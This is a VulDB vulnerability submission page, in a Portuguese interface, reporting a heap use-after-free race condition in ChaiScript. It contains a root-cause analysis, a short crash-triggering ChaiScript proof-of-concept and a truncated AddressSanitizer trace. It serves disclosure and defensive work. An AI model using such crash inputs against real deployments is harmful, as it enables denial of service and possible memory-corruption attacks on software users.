Submeter #752790: ChaiScript develop branch Use After Freeinformação

TítuloChaiScript develop branch Use After Free
Descrição### Description We discovered a Heap-use-after-free vulnerability in ChaiScript triggered by a race condition between the main thread (engine destruction) and a worker thread (exception handling). The crash occurs when an asynchronous thread throws an exception (e.g., eval_error) and attempts to format the error message by looking up type names (get_type_name), while the main thread is simultaneously destroying the Dispatch_Engine and its internal type maps. ### Environment - OS: Linux x86_64 - Complier: Clang - Build Configuration: Release mode with ASan enabled. ### Vulnerability Details - Target: ChaiScript - Vulnerability Type: Heap-use-after-free (Race Condition) - Function: chaiscript::Type_Info::bare_equal - Location: include/chaiscript/dispatchkit/type_info.hpp:58 called from dispatchkit.hpp:586 - Root Cause Analysis: 1. The PoC launches an async task that executes a loop with a potential logic error or type mismatch (!+i), which triggers a chaiscript::exception::eval_error. 2. The main thread reaches the end of the script (or encounters the syntax error at the end of the PoC) and begins destroying the ChaiScript instance. 3. Thread T0 (Main) frees the memory associated with the internal type map (std::_Rb_tree::_M_erase). 4. Thread T1 (Worker), while constructing the eval_error message, calls Dispatch_Engine::get_type_name -> Type_Info::bare_equal to describe the objects involved in the error. 5. T1 accesses the memory of a type node that T0 has just freed, causing the UAF. ### Reproduce 1. Build ChaiScript with Release optimization and ASAN enabled. 2. Run with the crashing file: <details> <summary>poc</summary> ``` var func = fun(){ var ret = 0; for (var i = 0; i < 50000; !+i) { ret += i; } return ret; } var fut1 = async(func); var fut2 = async(func); ?print(" ${fut1.get()} ${fut2.get()} ") ``` </details> ``` ./chai crash.chai ``` <details> <summary>ASAN report</summary> ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==30557==ERROR: AddressSanitizer: heap-use-after-free on address 0x508000001ee8 at pc 0x55d4f13f3f91 bp 0x7f33c65fdde0 sp 0x7f33c65fddd8 READ of size 8 at 0x508000001ee8 thread T1 #0 0x55d4f13f3f90 in chaiscript::Type_Info::bare_equal(chaiscript::Type_Info const&) const /src/ChaiScript/include/chaiscript/dispatchkit/type_info.hpp:58:37 #1 0x55d4f13f3f90 in chaiscript::detail::Dispatch_Engine::get_type_name[abi:cxx11](chaiscript::Type_Info const&) const /src/ChaiScript/include/chaiscript/dispatchkit/dispatchkit.hpp:586:27 #2 0x55d4f18959f7 in chaiscript::detail::Dispatch_Engine::type_name[abi:cxx11](chaiscript::Boxed_Value const&) const /src/ChaiScript/static_libs/../include/chaiscript/language/../dispatchkit/dispatchkit.hpp:965:68 #3 0x55d4f18959f7 in chaiscript::exception::eval_error::format_parameters[abi:cxx11](std::vector<chaiscript::Boxed_Value, std::allocator<chaiscript::Boxed_Value>> const&, bool, chaiscript::detail::Dispatch_Engine const&) /src/ChaiScript/static_libs/../include/chaiscript/language/chaiscript_common.hpp:491:30 #4 0x55d4f189377e in chaiscript::exception::eval_error::format(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::vector<chaiscript::Boxed_Value, std::allocator<chaiscript::Boxed_Value>> const&, bool, chaiscript::detail::Dispatch_Engine const&) /src/ChaiScript/static_libs/../include/chaiscript/language/chaiscript_common.hpp:559:38 #5 0x55d4f188e502 in chaiscript::exception::eval_error::eval_error(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::vector<chaiscript::Boxed_Value, std::allocator<chaiscript::Boxed_Value>> const&, std::vector<std::shared_ptr<chaiscript::dispatch::Proxy_Function_Base const>, std::allocator<std::shared_ptr<chaiscript::dispatch::Proxy_Function_Base const>>> const&, bool, chaiscript::detail::Dispatch_Engine const&) /src/ChaiScript/static_libs/../include/chaiscript/language/chaiscript_common.hpp:327:32 #6 0x55d4f1946f54 in chaiscript::eval::Prefix_AST_Node<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>::eval_internal(chaiscript::detail::Dispatch_State const&) const /src/ChaiScript/static_libs/../include/chaiscript/language/chaiscript_eval.hpp:1175:17 #7 0x55d4f185f1e8 in chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>::eval(chaiscript::detail::Dispatch_State const&) const /src/ChaiScript/static_libs/../include/chaiscript/language/chaiscript_eval.hpp:141:18 #8 0x55d4f1990693 in chaiscript::eval::For_AST_Node<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>::eval_internal(chaiscript::detail::Dispatch_State const&) const /src/ChaiScript/static_libs/../include/chaiscript/language/chaiscript_eval.hpp:950:125 #9 0x55d4f185f1e8 in chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>::eval(chaiscript::detail::Dispatch_State const&) const /src/ChaiScript/static_libs/../include/chaiscript/language/chaiscript_eval.hpp:141:18 #10 0x55d4f18b191c in chaiscript::eval::Block_AST_Node<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>::eval_internal(chaiscript::detail::Dispatch_State const&) const /src/ChaiScript/static_libs/../include/chaiscript/language/chaiscript_eval.hpp:703:30 #11 0x55d4f185f1e8 in chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>::eval(chaiscript::detail::Dispatch_State const&) const /src/ChaiScript/static_libs/../include/chaiscript/language/chaiscript_eval.hpp:141:18 #12 0x55d4f1906a68 in chaiscript::Boxed_Value chaiscript::eval::detail::eval_function<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>(chaiscript::detail::Dispatch_Engine&, chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>> const&, std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>> const&, chaiscript::Function_Params const&, std::map<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, chaiscript::Boxed_Value, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const, chaiscript::Boxed_Value>>> const*, bool) /src/ChaiScript/static_libs/../include/chaiscript/language/chaiscript_eval.hpp:88:25 #13 0x55d4f190500c in chaiscript::eval::Lambda_AST_Node<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>::eval_internal(chaiscript::detail::Dispatch_State const&) const::'lambda'(chaiscript::Function_Params const&)::operator()(chaiscript::Function_Params const&) const /src/ChaiScript/static_libs/../include/chaiscript/language/chaiscript_eval.hpp:660:22 #14 0x55d4f190500c in chaiscript::dispatch::Dynamic_Proxy_Function_Impl<chaiscript::eval::Lambda_AST_Node<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>::eval_internal(chaiscript::detail::Dispatch_State const&) const::'lambda'(chaiscript::Function_Params const&)>::do_call(chaiscript::Function_Params const&, chaiscript::Type_Conversions_State const&) const /src/ChaiScript/static_libs/../include/chaiscript/language/../dispatchkit/proxy_functions.hpp:413:20 #15 0x55d4f14303b3 in chaiscript::dispatch::Proxy_Function_Base::operator()(chaiscript::Function_Params const&, chaiscript::Type_Conversions_State const&) const /src/ChaiScript/include/chaiscript/dispatchkit/proxy_functions.hpp:181:18 #16 0x55d4f14303b3 in chaiscript::Boxed_Value chaiscript::dispatch::dispatch<std::vector<std::shared_ptr<chaiscript::dispatch::Proxy_Function_Base const>, std::allocator<std::shared_ptr<chaiscript::dispatch::Proxy_Function_Base const>>>>(std::vector<std::shared_ptr<chaiscript::dispatch::Proxy_Function_Base const>, std::allocator<std::shared_ptr<chaiscript::dispatch::Proxy_Function_Base const>>> const&, chaiscript::Function_Params const&, chaiscript::Type_Conversions_State const&) /src/ChaiScript/include/chaiscript/dispatchkit/proxy_functions.hpp:803:22 #17 0x55d4f1801ef1 in chaiscript::dispatch::detail::Build_Function_Caller_Helper<chaiscript::Boxed_Value>::call(chaiscript::Function_Params const&, chaiscript::Type_Conversions_State const&) /src/ChaiScript/static_libs/../include/chaiscript/dispatchkit/function_call_detail.hpp:40:32 #18 0x55d4f1801ade in chaiscript::Boxed_Value chaiscript::dispatch::detail::Build_Function_Caller_Helper<chaiscript::Boxed_Value>::operator()<>() /src/ChaiScript/static_libs/../include/chaiscript/dispatchkit/function_call_detail.hpp:50:16 #19 0x55d4f1801767 in chaiscript::Boxed_Value std::__invoke_impl<chaiscript::Boxed_Value, chaiscript::dispatch::detail::Build_Function_Caller_Helper<chaiscript::Boxed_Value>&>(std::__invoke_other, chaiscript::dispatch::detail::Build_Function_Caller_Helper<chaiscript::Boxed_Value>&) /usr/lib/gcc/x86_64-linux-gnu/13/../../../../include/c++/13/bits/invoke.h:61:14 #20 0x55d4f1801767 in std::enable_if<is_invocable_r_v<chaiscript::Boxed_Value, chaiscript::dispatch::detail::Build_Function_Caller_Helper<chaiscript::Boxed_Value>&>, chaiscript::Boxed_Value>::type std::__invoke_r<chaiscript::Boxed_Value, chaiscript::dispatch::detail::Build_Function_Caller_Helper<chaiscript::Boxed_Value>&>(chaiscript::dispatch::detail::Build_Function_Caller_Helper<chaiscript::Boxed_Value>&) /usr/lib/gcc/x86_64-linux-gnu/13/../../../../include/c++/13/bits/invoke.h:114:9 #21 0x55d4f1801767 in std::_Function_handler<chaiscript::Boxed_Value (), chaiscript::dispatch::detail::Build_Function_Caller_Helper<chaiscript::Boxed_Value>>::_M_invoke(std::_Any_data const&) /usr/lib/gcc/x86_64-linux-gnu/13/../../../../include/c++/13/bits/s
Fonte⚠️ https://github.com/ChaiScript/ChaiScript/issues/636
Utilizador Oneafter (UID 92781)
Submissão05/02/2026 11h12 (há 4 meses)
Moderação18/02/2026 07h43 (13 days later)
EstadoAceite
Entrada VulDB346454 [ChaiScript até 6.1.0 type_info.hpp bare_equal Excesso de tampão]
Pontos20

Want to know what is going to be exploited?

We predict KEV entries!